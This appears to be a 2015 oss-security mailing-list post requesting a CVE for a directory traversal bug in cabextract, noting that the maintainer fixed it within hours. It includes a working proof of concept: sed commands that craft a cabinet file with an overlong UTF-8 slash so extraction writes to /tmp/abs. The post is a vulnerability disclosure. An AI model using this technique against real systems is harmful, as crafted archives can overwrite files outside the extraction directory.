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Date: Wed, 18 Feb 2015 13:11:55 +0300
From: Alexander Cherepanov <ch3root@...nwall.com>
To: oss-security@...ts.openwall.com
Subject: CVE Request: cabextract -- directory traversal
Hi!
cabextract is susceptible to a directory traversal vulnerability. While
extracting files from an archive, it removes leading slashes from
filenames but does it before possibly decoding UTF-8 and doesn't check
for invalid UTF-8. Hence an absolute filename can be shoved through by
using overlong encoding for the leading slash (and setting utf8
attribute in the header). This can be exploited by a malicious archive
to write files outside the current directory.
Illustration:
$ touch xxxxxxxxxx
$ lcab xxxxxxxxxx test.cab
$ sed -i 's|\x20\x00xxxxxxxxxx|\xa0\x00\xe0\x80\xaftmp/abs|g' test.cab
$ rm xxxxxxxxxx
$ ls /tmp/abs
ls: cannot access /tmp/abs: No such file or directory
$ ./cabextract test.cab
Extracting cabinet: test.cab
extracting /tmp/abs
All done, no errors.
$ ls /tmp/abs
/tmp/abs
In the sed command above, \xe0\x80\xaf is an overlong encoding for '/',
\xa0\x00 are flags updated to include utf-8 flag.
The issue was found in cabextract 1.4 and 2-byte encoding (\xc0\xaf) was
enough to hide '/'. cabextract 1.5 tightened utf-8 checks and 3-byte
encoding is now necessary.
The issue was reported to Stuart Caie today and fixed in less than 4h:
http://sourceforge.net/p/libmspack/code/217/
Another release of cabextract is expected in the next few days.
Could CVE please be assigned?
--
Alexander Cherepanov
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